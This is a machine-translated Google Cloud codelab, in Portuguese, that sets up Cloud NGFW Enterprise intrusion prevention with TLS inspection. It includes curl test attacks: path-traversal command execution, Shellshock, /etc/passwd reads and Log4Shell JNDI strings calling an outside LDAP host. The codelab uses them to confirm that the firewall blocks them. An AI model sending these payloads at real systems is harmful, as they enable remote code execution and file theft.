Esta página foi traduzida pela API Cloud Translation.

Codelab do Cloud NGFW Enterprise [com inspeção TLS]

1. Introdução

Firewall de última geração do Cloud (NGFW)

O Cloud Next Generation Firewall é um serviço de firewall totalmente distribuído com recursos avançados de proteção, microssegmentação e cobertura abrangente para proteger suas cargas de trabalho do Google Cloud contra ataques internos e externos.

O Cloud NGFW tem os seguintes benefícios:

Serviço de firewall distribuído: o Cloud NGFW oferece uma aplicação com base em host, com estado e totalmente distribuída, em cada carga de trabalho, para permitir uma arquitetura de segurança de confiança zero.
Configuração e implantação simplificadas: o Cloud NGFW implementa políticas de firewall hierárquicas e de rede que podem ser anexadas a um nó da hierarquia de recursos. Essas políticas fornecem uma experiência de firewall consistente em toda a hierarquia de recursos do Google Cloud.
Controle granular e microssegmentação: a combinação de políticas de firewall e tags controladas pelo Identity and Access Management (IAM) proporciona um controle preciso para o tráfego norte-sul e leste-oeste, até uma única VM, em redes e organizações de nuvem privada virtual (VPC).

O Cloud NGFW está disponível nos seguintes níveis:

Firewall Essentials de última geração do Cloud
Cloud Next Generation Firewall Standard
Firewall de última geração para empresas de nuvem

Cloud NGFW Enterprise (em inglês)

O Cloud NGFW Enterprise adiciona o serviço de prevenção de intrusões (IPS), um recurso da camada 7, à estrutura distribuída do firewall do Google Cloud. A inspeção TLS é compatível para permitir a inspeção do tráfego criptografado por TLS.

Agora você pode implantar inspeções confiáveis de firewall de última geração na camada 7 (NGFW) com controles granulares, sem fazer nenhuma alteração em sua arquitetura de rede ou configurações de roteamento.

Para ativar e implantar o controle de firewall da Camada 7 com IPS, você precisa executar as seguintes tarefas:

Criar um conjunto de endpoints de firewall zonais gerenciados pelo Google Cloud.
Se quiser, crie uma política de inspeção TLS.
Opcionalmente, crie uma configuração de confiança.
Associe esses endpoints às redes de nuvem privada virtual (VPC) onde você precisar do serviço Cloud NGFW Enterprise.
Faça alterações simples nas políticas e regras de firewall existentes para especificar os perfis de prevenção de ameaças para os vários caminhos de tráfego.

Políticas de firewall de rede

A política de firewall de rede atua como um contêiner para regras de firewall. As regras definidas em uma política de firewall de rede não são aplicadas até que a política seja associada a uma rede VPC. Cada rede VPC pode ter uma política de firewall de rede associada a ela. As políticas de firewall de rede dão suporte a tags controladas pelo IAM (ou apenas tags) nas regras de firewall, que substituem as tags de rede atuais e podem ser usadas para dar identidade à carga de trabalho.

O compartilhamento de uma política de firewall de rede entre redes e a integração com tags controladas pelo IAM simplificam muito a configuração e o gerenciamento dos firewalls.

Com o lançamento das políticas de firewall de rede, as políticas de firewall do Google Cloud agora consistem nos seguintes componentes:

Política de firewall hierárquica
Regras de firewall da VPC
Política de firewall de rede ( global e regional)

As políticas hierárquicas de firewall são compatíveis com os nós da organização e da pasta na hierarquia de recursos, enquanto as regras de firewall da VPC e as políticas de firewall de rede são aplicadas no nível da VPC. Uma grande diferença entre as regras de firewall de VPC e as políticas de firewall de rede é que as regras de firewall de VPC só podem ser aplicadas a uma rede VPC, enquanto as políticas de firewall de rede podem ser anexadas a uma única VPC ou grupo de VPCs, entre outros benefícios, como atualizações em lote.

Por fim, também temos as regras de firewall implícitas que acompanham todas as redes VPC:

Uma regra de saída em que a ação é permitir, o destino é 0.0.0.0/0
uma regra de entrada em que a ação é negar, a origem é 0.0.0.0/0

Por padrão, a sequência de aplicação é mostrada no diagrama abaixo:

A ordem de aplicação entre as regras de firewall da VPC e a política de firewall de rede global pode ser trocada. Os clientes podem especificar a ordem de aplicação a qualquer momento com um comando gcloud.

O que você vai criar

Este codelab requer um único projeto e a capacidade de criar uma rede VPC, além de gerenciar vários recursos de rede e segurança. Ele demonstrará como o Cloud NGFW Enterprise pode oferecer funcionalidades de IPS:

Como inspecionar fluxos de Internet na direção norte com inspeção TLS
Como inspecionar fluxos intravpc [Leste-Oeste] com inspeção TLS

Os fluxos a serem inspecionados serão selecionados usando parâmetros de correspondência do Cloud Firewall, incluindo cinco tuplas (IP de origem, IP de destino, protocolo, porta de origem, porta de destino) e tags.

O estado final da base de regras da política de firewall de rede será semelhante à tabela abaixo:

Prioridade	Direção	Destino	Original	Destino	Ação	Tipo
100	Entrada	Server_Tag	Verificações de integridade	Qualquer	Permitir	Essentials
200	Entrada	Client_Tag, Server_Tag	IAP	Qualquer	Permitir	Essentials
800	Entrada	Server_Tag	10.0.0.0/24	10.0.0.0/24	Inspeção L7	Enterprise
850	Saída	Client_Tag	Qualquer	10.0.0.0/24	Permitir	Essentials
900	Saída	Client_Tag	Qualquer	Qualquer	Inspeção L7	Enterprise

O que você vai aprender

Como criar uma política de firewall de rede.
Como criar e usar tags com a política de firewall de rede.
Como configurar e usar o Cloud NGFW Enterprise com inspeção TLS.

O que é necessário

projeto do Google Cloud.
Saber implantar instâncias e configurar componentes de rede.
Conhecimento de configuração de firewall de VPC.

2. Antes de começar

Criar/atualizar variáveis

Este codelab usa variáveis $variables para ajudar na implementação da configuração da gcloud no Cloud Shell.

No Cloud Shell, execute os comandos abaixo substituindo as informações entre colchetes, conforme necessário:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Ativar APIs

Ative as APIs se ainda não tiver feito isso:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Criação de endpoints empresariais do Cloud NGFW

Como a criação do endpoint do Cloud NGFW Enterprise leva cerca de 20 minutos, ele será criado primeiro e a configuração básica pode ser feita em paralelo enquanto o endpoint estiver sendo criado.

Crie o perfil de segurança e o grupo de perfis de segurança:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Saída esperada:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Confirme se os recursos foram criados:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Saída esperada (o formato de saída pode variar de acordo com o cliente usado:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Crie o endpoint do Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

Execute o comando abaixo para confirmar a criação do endpoint (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Saída esperada (o formato pode variar de acordo com o cliente usado):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Ou então, execute o comando abaixo para obter mais detalhes:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Saída esperada:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

O processo de criação leva cerca de 20 minutos. Prossiga para a seção Configuração básica para criar os recursos necessários em paralelo.

5. Configuração básica

Rede VPC e sub-rede

Rede VPC e sub-rede

Crie a rede VPC e a sub-rede:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crie o Cloud Router e o gateway do Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instâncias

Crie as instâncias client e web-server:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tags no nível do projeto

Atribua a permissão "tagAdmin" ao usuário se necessário:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Crie a chave e os valores da tag para envolvidos no projeto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Vincule as tags às instâncias:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Política de firewall de rede global

Crie uma política de firewall de rede global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Crie as regras essenciais do Cloud Firewall Essentials para permitir o tráfego de intervalos de verificação de integridade e de proxy com reconhecimento de identidade:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Crie as regras necessárias do firewall do Cloud para permitir a entrada de tráfego na sub-rede de leste a oeste dos intervalos específicos. Essas regras serão atualizadas para ativar o Cloud NGFW Enterprise com inspeção de TLS:

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associe a política de firewall de nuvem à rede VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Associação de endpoint de firewall do Cloud

Defina as variáveis de ambiente caso ainda não tenha feito isso e/ou prefira a abordagem de script.

Confirme se a criação do Cloud Firewall Endpoint foi concluída. Só continue quando o estado for mostrado como ACTIVE (durante a criação, o estado esperado é CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Saída esperada (o formato pode variar de acordo com o cliente usado):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Ou então, execute o comando abaixo para obter mais detalhes:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Saída esperada:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Associe o endpoint do Cloud Firewall à rede VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

O processo de associação leva cerca de 10 minutos. Só prossiga para a seção de TLS quando o estado for mostrado como ACTIVE (durante a criação, o estado esperado é CREATING):

gcloud network-security firewall-endpoint-associations list

Saída esperada quando concluída:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Ou então, execute o comando abaixo para obter mais detalhes:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Saída esperada:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Configurar recursos TLS

Criar um pool de ACs. Esse recurso será usado para armazenar o certificado de CA raiz que geramos para a NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Crie a CA raiz. Este é o certificado de CA que será usado para assinar certificados adicionais para solicitações pela NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Se a mensagem abaixo aparecer, responda y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Crie uma conta de serviço. Esta conta de serviço será usada para solicitar certificados do NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Defina as permissões do IAM para a conta de serviço:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Crie o arquivo YAML da política TLS. Esse arquivo contém informações sobre os recursos específicos:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importe a política de inspeção de TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Atualize a associação do endpoint para ativar o TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Encontre o certificado de CA e adicione-o ao armazenamento de ACs do cliente:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transfira o certificado de CA para o cliente:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Use SSH para se conectar à VM, mova o certificado da AC para /usr/local/share/ca-certificates e atualize o repositório da AC:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Volte para o cloudshell.

Processo de Assinatura de Certificados do Servidor:

No cloudshell, instale a biblioteca de criptografia Pyca usando o comando pip:

pip install --user "cryptography>=2.2.0"

Para permitir que o SDK Google Cloud use a biblioteca de criptografia Pyca, ative os pacotes do site.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Crie o certificado do servidor:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

Isso vai gerar os arquivos cert.pem e key.pem no cloudshell. Em seguida, transfira o certificado e a chave para o servidor.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Conecte-se por SSH ao servidor para atualizar os detalhes do certificado do Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Mova o certificado e a chave para uma pasta específica:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Atualize a configuração SSL para usar o certificado assinado:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Reinicie o Apache:

sudo systemctl restart apache2

Verifique o status do Apache:

sudo systemctl status apache2

Ele precisa estar ativo (em execução).

Saia da VM e continue no cloudshell.

8. Validar a conectividade do sentido norte e de E/S

Execute os comandos abaixo no Cloud Shell e observe os IPs de destino que serão usados:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Abra uma nova guia e inicie uma conexão SSH com a VM de cliente pelo IAP. É necessário definir as variáveis na nova guia:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Execute os comandos abaixo e anote os IPs de destino que serão usados. Crie as variáveis substituindo os valores entre colchetes pelos IPs indicados na etapa anterior e certifique-se de que eles estejam acessíveis:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Use curl no IP privado e verifique se ele está acessível:

curl https://$target_privateip --max-time 2

Resultados esperados para a solicitação curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Enviar ataques de amostra ao IP. O servidor da Web responderá a todas as solicitações, confirmando que não há inspeção/prevenção L7 em vigor:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Exemplo de resultados esperados (IP particular):

Da mesma forma, envie solicitações para um destino da Internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Exemplo de resultados esperados (destino de Internet):

Saia do terminal da VM e volte ao Cloud Shell.

9. Criar e atualizar regras de firewall para inspeção TLS

Anteriormente, configuramos uma regra de firewall para permitir o tráfego de entrada no nosso servidor pela sub-rede interna. Agora vamos atualizar as regras de entrada atuais e definir a ação como apply_security_profile_group. Isso vai ativar a inspeção L7 de L7 com TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Crie uma nova regra para inspecionar a inspeção L7 no sentido norte com TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Crie uma nova regra para permitir Saída de E/S para evitar inspeção dupla.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. Como validar a inspeção TLS do limite norte

Volte para a guia da VM do cliente ou conecte-se novamente:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envie os ataques de amostra para um destino da Internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Nenhuma resposta é recebida de acordo com o resultado esperado abaixo, confirmando que os ataques de amostra estão sendo bloqueados:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Defina a variável como o IP do servidor anterior:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Envie exemplos de solicitações TLS para o servidor:

curl https://$target_privateip --max-time 2

Saída esperada:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Por que essa solicitação falhou? Isso ocorre porque o firewall está recebendo um certificado do servidor em que não há confiança. Se isso ocorrer, ele passará um certificado autoassinado de volta ao cliente. Precisamos adicionar o certificado de CA como parte de uma configuração de confiança para ativar a confiança.

Volte ao Cloud Shell.

11. Definir configuração de confiança

Consiga o certificado da CA raiz e defina-o como uma variável com formatação adequada.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Configure o arquivo YAML de configuração de confiança. Esse arquivo contém detalhes de confiança, como certificados de CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Os comandos acima incluíram o certificado da CA raiz como parte do repositório de confiança, já que o certificado do servidor foi assinado com a CA raiz. Isso significa que o firewall confiará em todos os certificados recebidos que tiverem sido assinados pela sua AC raiz, além das ACs públicas, se a política TLS excluirPublicCaSet como falsa.

Verifique o conteúdo da configuração de confiança.

cat trust_config.yaml

Exemplo de resposta:

Preste muita atenção ao alinhamento do recuo do certificado. Ele deve seguir este formato exatamente.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importe a configuração de confiança:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Atualize o arquivo YAML da política de TLS para incluir a configuração de confiança:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importe a política TLS atualizada:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Como validar a inspeção TLS de E/S

Estabeleça uma conexão SSH com o cliente para testar o tráfego de leitura e saída com a configuração de confiança atualizada:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Execute o exemplo de solicitação TLS para o servidor:

curl https://$target_privateip --max-time 2

Se você ainda receber a resposta abaixo, aguarde a propagação das atualizações.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Saída esperada:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Enviar tráfego de teste malicioso para o servidor:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Saída esperada:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

